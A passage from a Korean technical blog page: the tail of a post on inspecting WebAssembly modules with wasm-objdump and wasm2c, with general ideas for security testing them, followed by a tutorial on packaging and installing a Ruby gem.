dummy            wabt-unittests        wasm2c


1. obj-dump
여 타 objdump와 동일합니다. wasm 파일 구조를 살펴볼 수 있습니다.

> ./wasm-objdump -xd fail.wasm

fail.wasm:    file format wasm 0x1

Section Details:

Type[1]:
- type[0] () -> i32
Function[1]:
- func[0] sig=0 <fail_me>
Global[0]:
Export[1]:
- func[0] <fail_me> -> "fail_me"

Code Disassembly:

00003a <fail_me>:
000040: 41 01                      | i32.const 1
000042: 41 00                      | i32.const 0
000044: 6d                         | i32.div_s
000045: 0b                         | end

2. decompile
wasm2asm, wasm2c 등 wasm을 c코드나 어셈, json 등으로 다시 복원할 수 있습니다.

> ./wasm2c fail.wasm
#ifndef WASM_H_GENERATED_
#define WASM_H_GENERATED_
#ifdef __cplusplus
extern "C" {
#endif

#include <stdint.h>

#include "wasm-rt.h"

#ifndef WASM_RT_MODULE_PREFIX
#define WASM_RT_MODULE_PREFIX
#endif

#define WASM_RT_PASTE_(x, y) x ## y
#define WASM_RT_PASTE(x, y) WASM_RT_PASTE_(x, y)
#define WASM_RT_ADD_PREFIX(x) WASM_RT_PASTE(WASM_RT_MODULE_PREFIX, x)

/* TODO(binji): only use stdint.h types in header */
typedef uint8_t u8;
typedef int8_t s8;
typedef uint16_t u16;


C 코드로 복원이 가능하기 떄문에 코드단에서 체크해볼 수 있는게 많아지죠. 여기까지 보면 우리는 wasm에서 사용할 수 있는 function들과 어떤 기능을 하는지 알 수 있습니다. 이는 맨위에서 이야기드렸듯이 javascript와 wasm간 서로 function 호출이 가능하기 때문에 양쪽으로 테스틑 해볼 수 있습니다.

Third - Direct function call, xss, rce, etc... security testing!
이제부턴 진짜 SWF나 ActiveX랑 동일합니다. 우리가 wasm으로 들어가는 입력 구간을 Javascript에서 제어할 수 있기 때문에 웹 어셈블리의 instance를 받은 객체부터 하위 function을 실행해가며 체크하시면됩니다.



역으로 wasm에서 javascript로도 데이터를 줄 수 있기 때문에 SOP를 우회할 수 있는 CORS 적용 범위 여부, 동일 도메인에 파일 업로드가 가능한지?(wasm 올라가면 공격자가 재 구성한 웹 어셈 파일을 로드하게 되고, 사용자는 의도하지 않은 행위를 수행할 수 있으니깐?) 등 여러가지가 있을듯합니다.
보편적인 웹 공격, 바이너리 공격 방식에 여러분들의 Offensive한 생각들을 더하면 재미있는 취약점들을 찾아낼 수 있을거라 생각합니다.
(개인적인 생각으로 공격자의 마음으로 검수하면 희안한게 생각난다고...)

Conclusion

요즘들어 글쓰기가 뭔가 힘드네요(핑계), 요즘 자꾸 간단하고 메모성 글만 올려서 마음이 좀 그랬습니다..

원래 웹 어셈블리의 보안에 대한 이야기를 크게 쓸까 하다가.. 생각보다 고민해봐야할 여지가 많아서 분석 방법에 대한 글만 먼저 쓰게 되었습니다. (보안 관련은 그냥 블로그에서 다루긴 좀 버겁네요.. / 시간이 없음, 그냥 각자 회사에서 고민해보는걸로 ..ㅋㅋㅋㅋ)

아 물론 이런 방식이 분석 방법이다는 아닙니다(그냥 생각난대로 써본거고, 관련 분석을 계속 해봐야 프레임이 잡히지 않을까 싶네요). 여러가지 방법들이 있을테니 공유주시면 정말 감사하겠습니다.

블로그 그냥 취미로 하는거라 작은 시간들 모아가며 글을 씁니다. 이상하거나 잘못된 부분이 많을 수 있으니 양해 부탁드리며 댓글로 폭풍 지적질 부탁드려요..!!

조만간 테스트용 웹 어셈 하나랑 벡터들 조금 정리해서 글 올려보도록 하겠습니다.

Reference

https://webassembly.org/docs/security/
https://i.blackhat.com/us-18/Thu-August-9/us-18-Lukasiewicz-WebAssembly-A-New-World-of-Native_Exploits-On-The-Web-wp.pdf
https://developer.mozilla.org/ko/docs/WebAssembly
Share: | Coffee Me:

10/04/2018

Ruby gem 만들기(Make ruby gem)

요즘 좀 정신없이 지내다보니 벌써 10월이네요.. 써놓은 글도 마침 없는 상태인지라 이번에도 간략한 글 작성할까 합니다. (아 10월의 첫글이 메모글이라니...)
많은 ruby application 들이 단순히 코드를 clone 해서 쓰는 형태보단 gem으로 패키징하여 배포하고 사용하는 형태를 가집니다.

오늘은 ruby gem 만드는 방법에 대해 메모해둘까 합니다.

gem,  how to make?

ruby gem을 만들 때 아래와 같은 구조를 유지하며 만드는게 좋다고 합니다(http://ruby-korea.github.io/rubygems-guides/patterns/#consistent-naming)

├── appname.gemspec    # gem 정보
└── lib                # gem이 될 파일의 path, 보통은 lib로
    └── appname.rb     # gem이 될 파일, 단일 파일로 만드는걸 추천한다고 하네요

우선 이런 구조로 만들어보죠. 앱 디렉토리에서 gemspec과 lib 하위경로를 추가해줍시다.
#> mkdir lib
#> cp your_app.rb ./lib/your_app.rb

구조는 만들었고 gem에 대한 설명이 들어가는 gemspec을 만듭시다.

#> vim ftc.gemspec
Gem::Specification.new do |s|
  s.name        = 'ftc'
  s.version     = '0.0.1'
  s.date        = '2018-04-28'
  s.summary     = "file to clipboard"
  s.description = "File to Clipboard gem"
  s.authors     = ["hahwul"]
  s.email       = 'hahwul@gmail.com'
  s.files       = ["lib/ftc.rb"]
  s.homepage    =
    'https://www.hahwul.com'
  s.license       = 'MIT'
end

대충 항목보면 어떤 내용이 들어가야할지 감 오실겁니다. 다 작성하면 gem command로 빌드해줍시다.

#> gem build ftc.gemspec
  Successfully built RubyGem
  Name: ftc
  Version: 0.0.1
  File: ftc-0.0.1.gem

빌드가 완료되면 gem 파일이 생성됩니다.

#> ls
drwxr-xr-x  4 root   root   4096 Oct  4 01:00 ./
drwxrwxr-x 16 hahwul hahwul 4096 Sep 15 23:26 ../
-rw-r--r--  1 root   root   4096 Oct  4 01:01 ftc-0.0.1.gem
-rw-r--r--  1 root   root    367 Oct  4 01:00 ftc.gemspec

일반 gem 파일 설치하는 것과 동일한 방식으로 install이 가능합니다.

#> gem install ftc-0.0.1.gem
Successfully installed ftc-0.0.1
Parsing documentation for ftc-0.0.1
Installing ri documentation for ftc-0.0.1
Done installing documentation for ftc after 0 seconds
1 gem installed

보통은 gem 자체가 라이브러리 역할도 많이하기 때문에 코드를 구성할 때 installer 개념이 아니라 library 만든다고 생각 후 적용하시는게 좋아보입니다.
또한 gem 네이밍 관련해서도 규칙이 있으니 아래 reference 부분 참고해주세요 :)
(이게 gem 저장소에 올라가는 경우에는 중요할듯합니다..(아무래도 이름이 겹치는것도 문제가 되고, 이름에서 기능을 알 수 있어야하기 떄문이죠)

Reference

http://ruby-korea.github.io/rubygems-guides/make-your-own-gem/
http://ruby-korea.github.io/rubygems-guides/name-your-gem/
http://ruby-korea.github.io/rubygems-guides/patterns/#consistent-naming
Share: | Coffee Me: